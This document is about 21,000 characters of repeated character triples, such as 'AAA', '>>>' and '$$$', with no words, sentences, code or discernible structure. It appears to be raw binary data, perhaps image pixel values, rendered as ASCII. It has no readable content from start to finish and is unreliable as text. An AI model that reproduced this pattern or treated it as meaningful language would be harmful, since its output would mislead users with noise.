''''''IIIJJJVVV^^^^^^WWW%%%***...///---***&&& !!!PPPNNNHHHFFF@@@???888222888BBBEEECCCAAAAAA???>>>;;;444///...//////333======:::AAAMMMPPPQQQKKKCCC>>>>>>DDDGGGDDD MMMMMMIIIFFFGGGJJJHHH???;;;@@@???@@@GGGFFFCCC;;;>>>EEEEEEBBB???888;;;JJJYYYUUUOOOFFFBBBGGGKKKGGG<<<<<>>999333444%%%### ''' '''***///---***&&& 999>>><<<666555///...((("""(((222555333222333111000,,,&&&!!!!!!((()))$$$""""""&&&"""""" )))777333---%%%!!!&&&***'''###^^^%%%!!!&&&*********%%% """''')))BBBLLLVVVZZZZZZXXX$$$***000333///'''### AAA======BBB;;;444777<<<888<<<<<<<<<777444222777EEEBBB888444666444111888BBBBBBFFFLLLPPPSSSMMMDDD<<>>999:::@@@GGGDDD<<<:::>>>BBBCCCBBB@@@===<<>>333333222000///...***''''''000888999<<>>???888000,,,---333:::666///---)))---...,,,$$$***000GGGCCC:::666333+++&&&..."""###333///'''###  ''',,,(((,,,------(((%%%###)))777444***''' +++///)))%%%'''(((  )))---///+++*********%%%+++*********%%%---,,,%%%   )))***111333,,,///&&&;;;IIIRRRRRRRRRUUU'''...111+++))),,,''' 444777>>>777333>>>JJJ@@@AAA@@@:::333000111===WWWUUUEEE;;;>>>;;;222888CCCEEEJJJOOOVVVUUUQQQKKKEEEFFFLLL)))###EEEQQQQQQRRROOOIII@@@999444444;;;EEEBBBBBB>>>BBBBBB@@@@@@@@@>>>@@@CCCHHHJJJOOOMMMPPPNNNNNNFFF>>>777---***,,,,,,111+++&&&%%%///@@@IIIIIIPPPRRRKKK===@@@@@@GGGHHHPPP333---333///&&&%%%CCCBBBEEECCCKKKNNNHHHEEEHHHCCC999222'''%%%(((000(((///;;;111222111 ...,,, """(((///GGGCCC===777888===AAA;;;555 ,,,,,,EEEAAA<<<333+++''''''---222333AAA333///&&&%%%&&&%%%((('''...111>>><<>>SSSPPPCCC:::555000///777AAAFFFIIINNNRRRLLLLLLLLLEEECCCCCC%%%''' (((***---SSSWWWSSSJJJHHHGGGFFFFFF@@@CCC???AAA???CCCBBB999:::;;;;;;===DDDAAA===DDDEEEAAAEEEMMMHHHDDDAAADDDTTTCCC//////333777777999AAA???@@@CCCBBB;;;555666@@@CCC======@@@===DDDHHHFFFCCCOOOSSSNNNJJJGGG;;;333...%%%$$$$$$###$$$!!!&&&---...444...***''' """&&&***===>>>===666444555===???444*** (((***---...222...&&&:::999999999"""333'''***)))'''222666EEEAAA(((,,,,,,...777666666:::"""666111---***  ***'''---...222...&&&###"""!!!!!!###$$$+++'''######333###$$$+++'''###(((%%%...111""" ===>>>CCCQQQVVVTTT,,,444333***"""777888444000222===CCC===>>>======IIIIIIEEEFFFIII@@@666111222333666888;;;DDDGGGAAABBBDDDLLLOOOSSSPPPJJJ%%%)))###!!!"""!!!!!!FFFNNNPPPIIIKKKIIIHHHJJJNNNLLLEEEBBBJJJOOOOOOEEE:::555333888???===AAAIIIGGGFFFFFFKKKIIIFFFAAAAAAPPPRRRCCC:::111000333777666555777:::444///555>>>>>>777555555888>>>>>> $$$FFFDDD999<<>>666444***((()))%%%$$$...444...000...   >>>AAAEEEBBB<<<===AAA;;;222111!!!"""!!!!!!!!!)))+++%%%  $$$)))'''...&&&%%%))),,,,,,+++---000+++  ,,,444333***""" !!!!!!)))+++%%%&&&%%%!!!'''%%%$$$$$$***(((%%%...111""":::>>>777222:::BBBCCC;;;::::::===DDDEEE777 $$$)))''',,,444333***"""AAA???555444===<<<<<>>GGGJJJEEEFFFHHHPPPTTTXXXVVVOOOQQQUUUOOOFFFFFFNNNOOOOOOOOONNNWWWYYYSSSTTTSSS$$$&&&***(((!!!&&&+++,,,!!!AAA@@@EEELLLJJJOOOWWWVVV$$$$$$***(((%%%###$$$---000+++"""  999:::DDDTTTWWW[[[222444///)))'''(((***$$$ 888888888AAAKKKKKKEEEAAABBBBBB444777888999999555444444777:::>>>;;;:::BBBFFF@@@???QQQUUUXXXVVVNNNIII'''###BBBIIINNNLLLOOORRRUUUTTTPPPNNNMMMGGGNNNNNNOOOHHHDDD@@@<<>>===EEEIIIDDD<<>>999DDDOOOMMMHHH444+++777GGGLLLOOOMMMCCC@@@CCCEEEHHHJJJGGG@@@888555666000+++"""$$$'''...'''###!!!  FFFUUUXXXWWWMMMBBB===999@@@===000%%%'''BBBBBB:::333---+++ '''AAAAAA???;;;>>>>>>;;;111...444,,,+++''' &&&+++...,,,""""""%%%'''???<<<555---****** <<<<<<:::777999;;;AAADDDBBB888555888;;;===@@@>>>666...,,,::::::///&&& ###!!! """+++444444888///,,,222444))) """,,,+++''' &&&+++...,,,""""""%%%'''***''' ;;;999:::444///'''))),,,333---)))''' )))777::::::///&&& ###HHH;;;000333;;;888;;;......///111444777:::>>>===>>>???===:::<<<>>>@@@AAAIIISSSTTTTTTRRROOORRRRRROOOFFFBBBIIIHHHFFFHHHJJJPPP+++444444888===;;;000000222///&&&!!!***///\\\bbbdddZZZPPPPPPLLLGGGSSS,,,+++''' GGG &&&111///***$$$ !!! EEEGGGIIIQQQUUUYYY000000''' ???IIIQQQPPPKKKDDD888333333...000222666888>>>KKKQQQLLLBBB:::222222 999777>>>BBB???BBB### 777999FFFQQQ[[[___aaabbbccc___WWWSSSPPPWWWTTTWWWYYY```aaa\\\UUUKKKHHHHHHDDDFFFCCCAAA---***666HHHRRRPPPLLLEEEAAA>>><<<<<<555333444888@@@@@@999888FFFHHH999+++###!!! ### $$$EEEIIINNNNNNDDD999333666;;;999333(((+++444000:::BBBAAA<<<555***$$$  """(((### 000444111333333333LLLSSSUUUOOOIII???%%%&&&"""$$$!!! &&&111///***$$$ ***((())),,,444666&&&)))    !!!###)))666<<<777---&&& """(((***&&&$$$+++///,,,///...///!!!***<<>>888222)))%%%&&&"""$$$!!! &&&111///***$$$ ;;;CCCEEE===<<>>000)))''' $$$(((+++000000'''FFFDDD===333666777222222---000222777888???LLLRRRNNNDDD===555555666777999???AAA>>>;;;CCCGGGDDDGGGGGGHHHLLLPPPMMMGGGHHH +++666:::<<<===>>>;;;222///,,,333000333eeelllnnniiibbbYYYVVVWWWSSS$$$!!! FFF!!!%%%((("""$$$"""OOOQQQSSSXXX]]]aaa444------***###)))***((( ;;;PPPTTTTTTTTTQQQKKK>>>888///222666:::???DDDNNNSSSNNNGGG???  555888999;;;???>>>%%%222'''AAA<<>>999333***!!!!!!  """%%%&&&(((,,,+++###'''999GGG///+++%%%)))444777;;;>>>888...------)))'''''')))///000444444------***###)))***((( &&&+++%%%---000444999;;;444***!!!%%%((("""<<>>@@@DDDCCC;;;???RRR___'''&&&+++...444>>>AAA>>>666&&& UUU]]]```eeeiiikkkeee[[[HHH:::EEE!!!  """"""QQQRRRRRRXXX[[[]]]111///---000555555111)))JJJMMMLLLPPPXXXXXXKKK???000333:::BBBMMMNNNQQQQQQNNN###666444000111888;;;&&&...555:::000)))KKKDDDDDDIIIIIIDDDIIIRRR\\\^^^]]]WWWEEE:::888<<>>===AAAJJJIII<<<111!!!$$$,,,###%%%((()))%%%###777RRRPPPKKK 444444999>>>AAAAAA%%% !!! %%%%%%&&&***///***!!! %%%"""!!!&&&...---  ---777999<<<===999777111+++&&&%%%%%%############!!!&&&)))###***:::CCCJJJOOOEEE>>>:::333333888888444$$$---@@@;;;,,,$$$###$$$###,,,444777444111000222000'''&&&""""""&&&'''  ...000111///---000555555111))))))&&&######"""'''******%%% !!!999>>>888000***))),,,+++))))))  """"""$$$$$$%%%+++...000PPP:::,,,,,,---  ###%%%((()))%%%###BBB<<<<<<<<<::::::;;;;;;999555666>>>AAA&&&...555:::000)))&&&######$$$---777:::888333 FFFDDDHHHMMMMMMSSSXXX[[[[[[VVVGGG GGGPPPSSS;;;<<<)))!!!### !!!$$$!!! &&&[[[cccbbb[[[OOONNN&&&+++---000222111*** FFFFFFCCCIIIQQQNNNOOOOOO222555@@@JJJRRRQQQMMM######$$$ 666111000111777DDD '''******000>>>999+++GGGAAA@@@BBBBBBDDDHHHIIILLLOOOLLLEEEFFFHHHDDD===111222999===;;;<<<>>>>>>:::999::::::]]]___JJJ@@@===>>>BBBDDDAAA666000222333999AAADDDAAA888666333'''(((......***...111111&&& &&&---555444---""">>>DDDIIIJJJMMMOOONNNGGG===--- """%%%777888444:::BBB???@@@AAA###'''111;;;DDD'''#########$$$###$$$(((***???888"""$$$ %%%&&&---111...///;;;<<<)))!!!### (((---666999666---***))) %%%///000'''###$$$%%% 444===;;;777777777888222---)))&&&"""!!!$$$$$$###%%%111555;;;???>>>EEESSSNNN@@@555000///111111444###$$$(((***(((!!!"""$$$  ///---...111000---,,,---...QQQSSS???444111222888999666+++%%%((( ---"""!!!&&&+++---000222111*** +++!!! ;;;<<<)))HHH888++++++###$$$%%%  )))'''#########$$$    '''******000>>>999+++!!!###$$$(((***(((PPPQQQSSSPPPIII===>>>FFFJJJHHHJJJLLLmmmnnn[[["""*** '''"""!!! !!! &&&[[[hhhhhh\\\XXXXXX...###!!!$$$%%%$$$  KKKLLLLLLRRRTTTQQQNNNGGGMMMMMMKKKPPPOOO  ,,,---777999===FFF111222((( %%%***)))$$$FFFFFFAAA===777:::@@@BBB@@@:::???GGGRRRNNNMMMGGGAAA:::777:::AAA???888777BBBEEE555'''DDDLLL@@@222---111777???HHH>>>888888BBBAAAAAAAAA@@@999===FFFDDD666333555222444;;;;;;333444---::::::///+++HHHLLL@@@???AAABBBAAA======///(((+++888999666<<<======DDDEEEBBB???999>>>>>>===AAAAAA  """---***)))###444---***...555222""""""*** '''777666555666555...222;;;:::+++888555444''' ###000000...444666!!!((()))'''#########666;;;:::444...+++000000+++)))%%% $$$'''***333FFFGGG<<<444:::???>>>999555555000,,,'''***000"""---***)))###333111++++++555888)))888@@@444'''"""&&&,,,444>>>333:::///+++***...###!!!$$$%%%$$$ $$$ ###""""""*** HHH:::333777RRR'''#########"""&&&&&&  111222((( %%%***)))$$$ DDDIIIRRR]]]ZZZYYYSSSMMMFFFCCCGGGNNNLLL"""777TTT\\\PPP !!!&&&$$$'''&&&%%%%%%(((//////%%%///&&&!!! aaaffffffZZZUUUNNN!!!!!!######333---...222---WWWZZZ[[[TTTOOOMMMMMMMMMRRRTTTOOO&&&(((((('''### 222888666222777AAA'''+++'''"""######&&&(((MMMQQQKKK???777333777:::555333;;;FFFLLLDDDBBB@@@MMMMMMDDD===999999999<<>>@@@===666222///,,,@@@PPPJJJKKKOOOJJJHHHLLLMMMEEE@@@>>>>>>>>>CCCFFF@@@AAACCCCCCBBB###???@@@@@@DDD&&&!!!(((AAA@@@777000------  !!!&&&$$$'''<<<:::;;;===EEEEEE;;;,,,777444---)))&&&###777HHHBBBCCCGGGBBBAAADDDEEE>>>$$$###"""###(((***999:::======<<<888222000///...+++''' %%%### %%%///<<>>EEEQQQXXXOOOMMMLLLYYYZZZPPPJJJGGG???EEEGGGBBB %%%***))) """&&&)))******'''888)))***888___YYYXXXUUUTTTRRR  :::HHH>>>111*** MMMNNNPPPPPPVVV[[[SSSWWW111---+++++++++,,,(((""">>>BBB===:::888=== !!! $$$000bbbZZZNNN>>>444...++++++111======555666000...222<<>>???AAABBBHHHLLLDDDIIIMMMIIIGGGFFFGGGGGG999888555===IIIUUUMMMAAA  000333///+++'''""""""))) %%%***))) 888<<>>...$$$  !!!,,,888555000111???333&&&"""$$$)))+++,,,!!!$$$%%%+++***'''&&&%%%  %%%&&&,,,000(((---111---+++++++++,,,000<<<444)))  """))) 777bbbqqqfffOOOUUUZZZRRRWWW111---+++++++++,,,(((""" !!! $$$000<<<444)))555555;;;HHHGGG@@@AAA<<<999===IIILLLHHHDDD@@@ """LLL[[[NNNAAA=== $$$$$$***---+++'''******+++***(((###111&&&((()))KKKMMMNNNZZZZZZUUU !!! 888@@@999)))KKKSSS[[[```bbb000***)))***//////)))$$$$$$$$$###GGGHHHDDD===666555"""111```YYYPPPDDD<<<222***''',,,777444***+++***''')))999>>>:::444///---999===:::;;;999EEE333)))+++555FFF<<<555888FFFLLLOOOMMMHHHLLLKKKLLLKKKHHHCCC888'''111555;;;PPPXXXSSSMMMVVVPPP&&&((())) ---,,,'''>>>???444((('''$$$!!!,,,UUU]]]VVVFFF888---222888<<>>000&&&***000555===EEEKKK777000***)))???DDDDDD>>>999999999888111###%%%%%%'''...111444555111+++$$$###,,,222222222000---888GGGPPPIII@@@444+++""" ,,,000---...---888''' ***;;;111+++)))---000888333 ---,,,''' !!!  (((000666777000***)))***//////)))$$$111:::333***  """ $$$666```hhhaaaYYY___aaaZZZTTTSSSTTT//////)))$$$$$$$$$### """111:::333*** 333111666AAA???555666555333555EEEJJJFFFAAA GGGTTTBBB999;;;%%%&&&""")))***...///000...---***,,,000$$$333///)))888444111000111888   777<<<(((%%%###MMMUUU]]][[[000222111......******,,,---222222(((>>>DDD:::000...444 &&&(((///PPPSSSUUUXXXTTTFFF333+++***++++++)))+++***)))(((,,,---444999666777999???CCCHHHFFFGGGAAAHHHHHHBBBDDD666555@@@KKKLLLOOOQQQRRROOONNNKKKMMMQQQDDD666777===<<>>???;;;888777 $$$######TTT...+++***,,,---...---,,,+++)))***222666---;;;888555888666111 '''***&&&LLLMMMOOOSSSSSSUUURRREEE888333333555===777333000,,,,,,///000000666AAA@@@888555888999???CCCAAA===>>>>>>555222444999???KKKOOONNNLLLPPPPPPHHHHHHAAAEEESSSKKKLLLSSSWWWYYY]]]]]]TTTMMMIII$$$ &&&$$$$$$&&&&&&***777;;;<<>>@@@BBBGGGGGGHHHEEE&&&''')))000***'''$$$ ###$$$$$$***555444 )))999***%%%&&&'''$$$ """///333444999888888000222000...333>>>CCCAAA???AAA---DDDBBBAAAAAA>>>???GGGKKKBBB222+++///000000111,,,)))&&&###&&&$$$ ###,,,444===@@@<<<;;;<<<>>>CCCCCCEEECCC555)))   +++(((,,,---333777555111222222***???999<<>>;;;888 FFFHHHNNNRRRPPPMMM  ###...***%%%+++///&&&###***222222...+++ HHHFFFJJJOOOHHH===  '''(((&&&+++111//////---&&&"""$$$%%%(((---111---+++---,,,***,,,---///333111&&&!!!!!!;;;666???HHHEEE999 ######&&&((($$$CCC@@@CCCIIIGGGMMMSSSPPPHHH@@@FFFMMMVVVDDD===666......333777777999AAAAAA:::666<<<@@@BBBBBB>>>;;;;;;666000((((((///999DDDPPPKKKFFFLLLQQQGGGDDDKKKSSSZZZXXXUUUTTTXXXYYYWWW]]]ZZZRRRMMM+++ !!!((()))'''$$$'''555DDDFFFCCCIIIOOOMMMMMMKKKCCC>>>@@@BBBEEEIIINNNJJJ!!!!!!  <<<<<<@@@AAA===555333666<<<:::AAAGGG***"""333999AAAJJJ777000)))""""""'''++++++---555444///+++000 HHHDDDBBB666///...111777000&&& ---<<<>>>;;;AAAGGGEEEEEECCC<<<777999;;;>>>CCCGGGCCCAAACCCBBB@@@BBBCCCEEEIIIGGG<<<111---222777666222---)))$$$,,,555222'''///666888888<<<===999222000333999777>>>DDDAAA888 (((111 ***000444666666222//////+++%%%HHH>>>;;;BBBJJJRRRQQQMMMLLL888 !!!  '''"""$$$%%%(((---111---+++---,,,***,,,---///###!!!(((--- %%%+++///JJJHHHOOOWWW^^^]]]444333888999777===:::222...+++ !!!BBB777PPPNNNTTTZZZRRRWWW[[[ZZZ^^^111&&&!!!!!!  ######&&&((($$$###!!!(((]]]ZZZRRRJJJPPPXXXaaaOOOHHH DDDKKKOOOQQQQQQMMMKKK%%%'''+++***'''### &&&000666333111222ZZZJJJAAALLLDDD===+++---000777666555333333---((("""'''...333222222444---)))###DDDDDDEEEPPPTTTNNNAAA$$$++++++'''!!!&&&'''JJJGGGDDDFFFGGGNNNOOOMMMMMMOOOUUU[[[XXXFFFLLLHHH===777777777333,,,111>>>GGGIIIDDDAAA>>>777777999:::<<<:::333666>>>GGGIIIMMMLLLHHHDDD>>>;;;AAAFFFQQQZZZ\\\ZZZPPPOOOKKKJJJPPPWWWVVVSSS111222+++......111222222999IIIKKKNNNUUUTTTRRRQQQPPPKKKEEE???<<<777:::CCC///333777))),,,&&&$$$+++FFFAAA;;;???@@@===:::777888:::BBBBBBAAA@@@CCCHHHNNNLLL999@@@;;;111+++++++++'''!!!&&&222;;;===888555222FFFNNNMMMIIIHHHHHHBBB222)))444,,,%%%%%%)))***===777<<<===999666444555777??????>>>>>>***///555333!!!'''### $$$&&&777444222,,,+++...///111///;;;444222888>>>IIIRRRTTTRRRHHH111222++++++"""'''...333222222444---)))###### !!!)))))) $$$&&& '''###>>>EEEJJJUUU^^^```999///...******000777666333111222+++>>>777YYY___^^^^^^HHHQQQXXXHHHHHHHHH@@@))),,,&&&$$$++++++'''!!!&&&'''### !!!)))XXXWWWWWWZZZ___eeecccQQQ'''### UUUWWWRRROOOMMMGGGFFF"""...---444777111%%%$$$((( !!!&&&!!! ,,,SSSCCC555===JJJGGG %%%)))''')))"""""" !!!###$$$!!!###)))000777:::<<<111!!!"""PPPPPPPPPZZZ\\\SSS))))))***000111******+++UUUTTTNNNGGGLLLUUUXXXOOOHHHSSSVVVVVVLLLLLLOOONNNQQQHHH<<<444888@@@@@@BBBDDD@@@999999???EEEAAA888;;;QQQOOOWWWYYYSSSGGG???>>>999:::@@@EEEIIIBBBAAAFFFLLLSSSUUUZZZMMMEEEDDDBBB===@@@???,,,$$$;;;888777???>>>>>>CCCGGGEEEGGG@@@111000777???===>>>@@@AAA===###)))000666"""(((((((((222444+++))))))***JJJKKKDDDDDDEEEHHHGGGAAA:::>>>HHHLLLCCC;;;GGGIIIIII???@@@CCCBBBEEE<<<000(((,,,444444666888333------333999;;;:::888333777666555CCC:::+++%%%222///...666666GGGAAAAAAAAAEEEDDD>>>777;;;EEEIII@@@999DDD000000'''(((******,,,$$$ ---333999555---000FFFEEE777<<<@@@999999>>>DDDKKKMMMSSS,,,$$$ %%%!!!###$$$!!!###)))000777:::<<<111!!!...---(((!!!%%%///222,,,$$$ """...$$$LLLEEEFFFJJJQQQWWW444:::,,,%%%$$$"""!!! ,,,$$$666DDDAAAMMMSSS111---...333:::"""(((((((((222444+++))))))***000111******+++...---(((!!!%%%///aaaYYYRRR]]]``````WWWXXX******,,,$$$QQQNNNGGGGGGNNNTTTPPP!!!(((******444666777>>>888)))$$$&&&(((((($$$ $$$KKKMMMBBBCCCLLLPPP!!! ,,,'''***(((%%% !!!%%%'''%%%""")))((('''***888222###YYYWWWVVV^^^bbbaaa777444000...------...,,,OOOLLLLLLMMMTTTKKKJJJTTTWWWQQQQQQNNNIIIDDD:::888>>>888///...444>>><<<999666777999<<<>>>DDDKKKMMMMMMWWWYYYZZZaaaZZZKKKEEEHHHJJJIIIEEEAAA::::::@@@EEEMMMNNNNNNSSSKKKBBB<<<777444999999444===AAA@@@;;;666>>>JJJEEEHHHFFFCCC000(((111;;;;;;>>>###...444444555###000///...666:::999777444000...HHHHHHHHHFFFBBB??????AAAHHH======HHHKKKDDDEEEBBB<<<777...,,,111,,,$$$"""(((222000---***,,,...000222888IIIAAA888222---+++//////---222333555++++++444999777222---DDDDDDDDDCCC???;;;<<<>>>EEE;;;;;;EEEHHHBBB+++)))### 222888???BBB<<<888111111777===EEEFFFGGG###!!! ,,,!!!%%%'''%%%""")))((('''***888222)))%%%&&&'''...$$$$$$ !!!(((******444((($$$ >>>===DDDJJJQQQRRR---222***"""<<>>DDDEEE###000///...666:::999777444000...------...,,,)))%%%&&&VVV]]]SSSTTT^^^aaa[[[\\\YYYSSSNNN FFFCCCEEEHHHJJJMMMSSS(((***,,,111111000222555777999???999555...111000%%% !!!!!! QQQ^^^aaaMMMCCCFFF""",,,###""" !!!$$$""")))***333333,,,%%%$$$!!!"""***   ###XXX[[[[[[___aaa___555444111,,,***---+++---QQQSSSWWWWWWUUU888111;;;CCCFFFJJJFFF<<<777333222---(((''''''///<<<777:::>>>:::888<<>>222++++++---..."""///RRR>>>555777888...000AAAJJJAAA@@@>>>???AAA???GGGHHH'''!!!"""$$$!!!###+++000111333666###000222222666999777555444111,,,EEEHHHFFFGGGEEEFFFJJJJJJHHH,,,%%%///666999>>>999000+++&&&&&&!!!###000+++///222///,,,000???@@@CCCDDD@@@444(((""""""$$$%%%(((000999FFFIII555,,,...///&&&(((AAADDDBBBDDDAAACCCGGGGGGEEE)))""",,,444777%%%    ===111000999::::::BBBCCC"""///333""",,,333333,,,%%%$$$!!!"""***   ###000222222666999777555444111,,,***---+++---***,,,000000...   ,,,111111000222000%%%<<>>555555000---''' %%%&&&!!! IIITTTYYYYYYYYYWWW)))***...///...,,,+++***NNNUUU___ccc[[[999+++(((222HHH@@@666000,,,///---((()))***)))000@@@555>>>BBB>>>222888CCCIIILLLPPPSSSXXX^^^[[[]]]cccdddcccXXXVVVSSSFFF???EEEIIIFFFCCCDDDKKKVVVRRRPPPLLL>>>///)))***,,,"""JJJKKKAAA777---)))(((+++111333444===IIIHHHPPPaaa"""$$$***111+++,,,))),,,000777888 +++000000000///)))***...///HHHGGGFFFEEEAAAHHHRRRWWWOOO,,,&&&;;;333***$$$ ###"""%%%444)))222666222'''(((%%%""":::AAALLLHHHFFFCCC444%%% ###'''111999AAACCC888...%%%!!! """EEECCCBBBAAA>>>EEEOOOTTTLLL)))###999111   JJJ===666<<>>;;;<<<### """***,,,""" 555000---''' %%%&&&!!!  +++000000000///)))***...///...,,,+++***'''...888===555 &&&)))---000555111%%%IIILLLJJJGGGHHHOOO555111///,,, """***SSSIII???666QQQLLL999@@@;;;<<<999<<>>CCCIIIJJJJJJIIICCC>>>;;;...)))---...'''---///+++ZZZVVVIIINNNOOOGGG ---:::777333777888444///'''!!!  !!!###JJJRRRTTTQQQSSSUUU111///,,,,,,---+++***,,,VVVYYY]]]^^^MMM111((('''))),,,...)))&&&(((((('''&&&***111///222NNN[[[TTTHHH777222444<<>>!!!)))+++)))+++,,,111///,,,,,,HHHEEEEEEFFFIIILLLPPPRRR@@@%%% """%%%###'''CCCOOOIII<<<>>>;;;...)))---...,,,IIINNNQQQQQQQQQJJJ999777>>>DDDFFFBBBBBB>>>111666888///+++$$$###DDDBBBAAACCCFFFIIIMMMNNN===""" ***666000[[[WWWTTTHHHBBBGGGHHHFFF:::AAAGGGIIIFFFFFF''' !!! 333777888444///'''!!!  !!!###!!!)))+++)))+++,,,111///,,,,,,---+++***,,,///222666777'''  ***666000###!!!)))111;;;CCC>>>;;;SSSNNNSSSTTTRRRWWW666999::::::222"""!!!'''---///++++++'''BBBGGGIIIAAABBB777BBB333777@@@HHHKKKLLLKKKMMMOOONNNVVV+++)))+++,,,111///,,,[[[[[[ZZZYYY[[[]]]aaaeeefffVVV:::111111333666888333222 \\\hhhbbbUUUEEE@@@BBB!!!)))!!!---777888999@@@EEEGGGFFFIIIIIIFFF>>>000333333111444555111000^^^]]]QQQEEEBBB@@@!!!***,,,,,,333::::::777333---%%% """$$$KKKNNNPPPIIIGGGLLL...111000///111000+++***LLLLLLOOOJJJ777***((('''((('''(((''''''''''''&&&&&&''',,,444999;;;LLLTTTRRRNNNPPPDDD>>>;;;???BBBDDDPPPZZZ[[[\\\ccchhhiiihhhkkklllhhh```RRRUUUUUUSSSSSSUUUWWWVVVTTTPPPPPP@@@GGGTTTVVV111PPPPPPOOOBBB777333222777777;;;===777///777:::"""%%%%%%###222999999888777:::===@@@"""%%%''' ###...111000///LLLKKKFFFDDD??????CCC===+++ )))---000@@@GGGFFFIIIIIIFFF>>>000333333111111KKKMMMMMMJJJGGGGGG777>>>KKKMMMHHHHHHGGGFFF999---+++)))......222HHHGGGBBB@@@<<<<<<@@@:::(((aaabbb___XXXJJJLLLMMMKKK AAANNNPPPKKKKKKJJJJJJ===222333::::::777333---%%% """$$$"""%%%''' ###...111000///111000+++***%%%%%%)))###(((///...***,,, !!!---IIIFFF>>>VVVXXXYYYWWWWWWZZZ555555333////// '''444555111000000///JJJ>>><<<:::AAA444444333AAAIIIIIIIIIHHHKKKNNNQQQOOORRRTTTNNN###...___^^^]]]___^^^ZZZXXXTTTTTTXXXRRR@@@333111111222111222222EEEHHHYYYbbb```]]]___ $$$)))(((%%%000222...222666:::999BBBIIIJJJBBB777===999333+++,,,***...XXXRRRSSSRRRKKKIII%%%---+++######%%%)))111111666444111333333111///...  )))((($$$$$$%%%$$$BBBEEENNNLLLFFFGGG'''---444888999666+++888//////......,,,***(((((('''(((''''''''''''''''''(((111<<<===555>>>GGGUUUYYYaaaSSSCCCAAAGGGLLLKKKHHHTTTUUUQQQUUUYYY\\\\\\eeekkkmmmdddYYY___[[[TTTMMMPPPQQQNNNGGGKKKRRRDDDBBBKKKLLLJJJNNNIIICCCDDDCCC===;;;DDDMMMJJJAAA;;;===BBBDDD;;;)))"""$$$###"""###&&&(((''''''888EEEDDD@@@@@@@@@???999555%%%###'''---444888999QQQFFF888+++"""###"""!!! %%%111222***222666:::999BBBIIIJJJBBB777===999333+++GGGGGGDDD>>>AAAIII;;;999BBBCCCAAAEEEAAA;;;<<<;;;444222<<>>???>>>888666@@@---+++###444111333333111///...  )))((($$$$$$%%%$$$%%%###'''---444888999666+++ """000555===///$$$)))(((%%%IIIJJJBBB]]]ccc___XXXQQQUUU000,,,'''***111$$$"""+++,,,***...***$$$LLLLLLEEECCCNNNRRRZZZ[[[___^^^[[[]]]]]][[[ZZZYYYIII666555777GGGUUUTTTQQQPPPQQQQQQJJJFFFIIIRRRQQQKKKLLLUUU[[[bbbfffgggdddZZZLLL???777777777666555333222222111222222 JJJBBBKKKTTTcccggg===///$$$)))"""+++444444+++//////,,,)))***///111999CCCIIIHHHHHH???:::<<<$$$$$$***---SSSDDDFFFJJJPPP]]]000999222(((+++333++++++000777777666...(((''''''&&&(((/// $$$  &&&+++,,,------%%%@@@JJJSSSUUULLLJJJ'''***...444999>>>...///)))(((+++666888///((((((((('''''''''''''''''''''+++777<<<:::666666;;;OOOVVVXXXNNNCCCFFFOOOWWWWWWOOOSSSSSSOOOKKKMMMRRRTTT\\\fffkkkjjjjjjaaa\\\^^^UUUOOOSSSKKKAAAEEEOOOSSSJJJDDDDDDKKKMMMDDD555777<<>>+++222AAA444)))+++---,,,***...555BBBGGGHHHJJJIII@@@222333!!!***,,,###!!!'''***...444999YYYIII000###***+++###+++111...HHHEEEAAA***///111999CCCIIIHHHHHH???:::<<<444FFFIIIBBB777<<>>>>>EEEHHH>>>000222666===KKKKKKUUUMMM(((...(((''''''&&&(((/// $$$  &&&+++,,,------%%%!!!***,,,###!!!'''***...444999>>>...+++111333***"""+++444444+++CCCIIIHHHnnneee```bbbZZZTTT111***$$$...222***$$$$$$***---$$$===???DDDJJJWWWTTTYYYaaaaaa___XXXRRRQQQQQQPPPRRRYYYKKK999999===DDDRRRXXXXXXZZZYYYRRRCCCDDDNNNXXXZZZQQQOOOUUUXXX\\\ccchhhlll\\\DDD777111000444???@@@888222222222FFFBBBCCCHHH]]]ddd333***"""+++444000000///000...---444444---333111222;;;@@@???AAAIIIKKKEEE===---%%%JJJJJJGGGHHHJJJ'''...###%%%###&&&---)))(((((('''******&&&###%%%,,,+++%%%((( ###(((******%%%===AAACCCNNNNNNDDD%%%((( ### ***,,,+++,,,;;;:::///(((''')))(((''''''''''''''''''444999666999<<<111///>>>MMMIIIFFFKKKTTTTTTSSSTTTQQQPPPXXXWWWPPPVVVTTTUUU^^^bbbbbbdddkkkmmmggg___^^^YYYRRRWWWPPPFFFFFF``````NNN@@@>>>EEE;;;<<<999999;;;???GGGNNNBBB>>>DDDBBBAAABBBJJJIII;;;555BBBEEE;;;333+++''''''+++333999@@@DDDFFFGGGAAA888111000444%%%&&&%%%((( >>>444$$$ ...---""")))---GGGFFFMMMMMMFFF333111222;;;@@@???AAAIIIKKKEEE===<<>>FFF:::(((:::000!!!,,,+++ 444---333111222;;;@@@???AAAIIIKKKEEE===%%%??????---:::888@@@555666 ###(((******%%%%%%&&&%%%((( ###  )))%%%"""(((000000///000...@@@???AAAoooqqqkkkcccbbb]]]111555...%%%%%%??????---%%%CCCAAAAAACCCGGGVVVRRRQQQRRRQQQTTTTTTPPPMMMOOOVVVUUUHHHBBB:::BBBHHHPPPTTTVVVWWWRRRIIIBBBAAAFFFGGGRRRSSSJJJSSSVVVIII999???RRRHHH888222333333444CCCBBB888EEEIII>>><<>>@@@DDDIIIMMMLLL''' 000888444---000111///,,,)))***,,,)))((())))))((((((000999;;;999<<<>>><<<555444777>>>IIIPPPTTTXXX[[[ZZZXXXWWWOOOAAAIIILLLPPPPPPUUU]]]bbbiiihhhffffffgggbbb[[[ZZZTTTJJJEEERRR```cccccc]]]OOOFFFBBB?????????===999:::EEEPPPRRR:::888:::>>>GGGAAA666777@@@;;;777666000++++++,,,,,,333:::???AAA@@@999555444111333 $$$$$$''' !!!$$$,,,'''!!!$$$%%%###  PPPPPPMMMMMMEEE666>>>)))------222:::@@@FFFFFFDDDDDDEEEXXXQQQPPPJJJ@@@<<>>===AAADDD666@@@AAA999222,,,---***"""$$$((( ***555555777666444***"""&&&"""###!!!###""" GGGKKKMMMIIIHHHHHH  >>>999111,,,+++BBBOOOKKK:::,,,111...---:::555:::>>>444777======<<>>:::???JJJQQQXXX^^^]]]YYYVVVQQQWWWTTTOOOLLLRRRPPPJJJIIINNNXXX``````cccfff```bbbaaa___]]]XXXRRRLLLLLLWWWaaabbbYYYSSSMMMNNNKKKBBBCCCHHH@@@JJJTTT:::666:::@@@DDD@@@;;;<<>><<<;;;999>>>@@@  $$$,,,222,,,%%%555CCC???... 